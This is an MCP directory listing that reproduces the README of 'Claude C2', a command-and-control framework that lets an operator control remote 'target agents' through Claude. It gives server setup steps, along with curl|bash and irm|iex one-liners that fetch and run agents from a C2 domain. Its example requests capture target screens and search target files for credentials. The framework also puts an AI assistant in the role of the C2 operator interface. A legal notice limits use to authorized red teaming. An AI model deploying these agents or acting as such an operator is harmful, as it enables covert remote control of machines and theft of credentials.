claude-c2
Enables remote management of Android devices via Termux, allowing command execution, screen capture, file system access, and other operations through Claude AI.
Enables remote management of Linux systems via shell command execution and file operations, controlled through Claude AI.
Enables remote management of macOS systems via shell command execution and file operations, controlled through Claude AI.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@claude-c2List all connected clients"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Claude C2
AI-Powered Command & Control Framework
Natural language control of remote systems through Claude AI and Model Context Protocol
Overview · Architecture · Installation · Deployment · Documentation
Overview
Claude C2 is a command and control framework that integrates with Anthropic's Model Context Protocol (MCP), enabling operators to manage remote systems through natural language conversations with Claude AI.
Rather than memorizing command syntax across different operating systems, operators communicate intent in plain English. The AI interprets requests, selects appropriate targets, executes the necessary commands, and returns formatted results.
Operator: "Show me all connected systems"
Claude: [Queries client manager, returns formatted list with OS, hostname, IP, user context]
Operator: "Capture the screen on the Windows workstation"
Claude: [Identifies target, executes screenshot, saves to server, confirms completion]
Operator: "Search for configuration files containing credentials"
Claude: [Runs recursive search with appropriate OS commands, returns matching paths]Key Characteristics
Feature | Description |
Natural Language Interface | Communicate with targets through conversational English |
Cross-Platform | Unified control across Windows, Linux, macOS, and Android |
Adaptive Execution | AI automatically translates intent to OS-specific commands |
Minimal Footprint | Agents use native scripting tools with no additional binaries |
Encrypted Transport | TLS-secured WebSocket connections with OAuth 2.0 authentication |
Auto-Recovery | Agents automatically reconnect on connection loss |
Architecture
┌────────────────────────────────────────────────────────────────────────────┐
│ │
│ CLAUDE C2 ARCHITECTURE │
│ │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ │ │ │ │
│ │ OPERATOR │ MCP │ COMMAND │ WSS │ TARGET │ │
│ │ │◄───────►│ │◄───────►│ │ │
│ │ Claude.ai │ SSE │ SERVER │ JSON │ AGENTS │ │
│ │ │ │ │ │ │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │
│ │ │ │ │
│ │ Natural language │ Command routing │ Shell │
│ │ requests/responses │ Client management │ execution │
│ │ via Claude AI │ OAuth + TLS │ Results │
│ │ │ │ │
│ │
└────────────────────────────────────────────────────────────────────────────┘Communication Flow:
Operator interacts with Claude AI through claude.ai interface
Claude connects to C2 server via MCP (Model Context Protocol) over SSE
Server maintains persistent WebSocket connections to all deployed agents
Commands are routed to appropriate agents based on operator intent
Agents execute commands using native OS tools and return results
Claude formats and presents results to operator
Installation
Prerequisites
Node.js 18 or higher
Valid SSL certificate (Let's Encrypt recommended)
Domain name pointing to server
Network access on ports 443, 3101, 3102
Server Setup
# Clone repository
git clone https://github.com/0xyg3n/claude-c2.git
cd claude-c2
# Install dependencies
npm install
# Configure environment
cp .env.example .envEdit .env with your configuration:
DOMAIN=your-domain.com
MCP_PORT=3101
WS_PORT=3102
OAUTH_CLIENT_ID=your-client-id
OAUTH_CLIENT_SECRET=your-client-secret
SSL_CERT_PATH=/path/to/cert.pem
SSL_KEY_PATH=/path/to/key.pem# Start server
npm startClaude.ai Integration
Configure MCP connector in Claude.ai settings:
Parameter | Value |
Server URL |
|
Authentication | OAuth 2.0 |
Client ID | Value from |
Client Secret | Value from |
Deployment
Deploy agents to target systems using platform-specific one-liners:
irm https://YOUR_DOMAIN/agent/windows | iexcurl -s https://YOUR_DOMAIN/agent/linux | bashcurl -s https://YOUR_DOMAIN/agent/macos | bashcurl -s https://YOUR_DOMAIN/agent/termux | bashAgents operate in memory without persistence by default. Connection resilience is built-in with automatic reconnection on network interruption.
Usage Examples
Request | Action |
| Display all active agents with system information |
| Run command and return output |
| Capture display and save to server |
| Recursive filesystem search |
| Execute ipconfig/ifconfig based on OS |
| Display process list with details |
| Launch browser with specified URL |
When a single agent is connected, Claude automatically selects it. With multiple agents, specify the target by name or identifier.
Demonstrated Platforms
Windows 11 | Android (Termux) |
Full agent functionality | Termux environment with API access |
Documentation
Document | Description |
Claude.ai configuration and API setup | |
Termux-specific features and Termux:API |
Legal Notice
This software is provided strictly for authorized security testing, educational research, and legitimate penetration testing engagements.
By using this software, you acknowledge and agree to the following:
You have obtained explicit written authorization for any systems tested
You understand that unauthorized access to computer systems is a criminal offense under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), Computer Misuse Act, and equivalent legislation in your jurisdiction
The authors and contributors accept no responsibility or liability for any misuse, damage, or illegal activities conducted with this software
You assume full legal responsibility for your use of this software
This tool is intended exclusively for:
Licensed penetration testers with valid authorization
Red team operators with written scope agreements
Security researchers in controlled environments
Educational purposes in authorized lab settings
Claude C2 — Built on Anthropic's Model Context Protocol
This server cannot be installed
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/0xyg3n/claude-c2'
If you have feedback or need assistance with the MCP directory API, please join our Discord server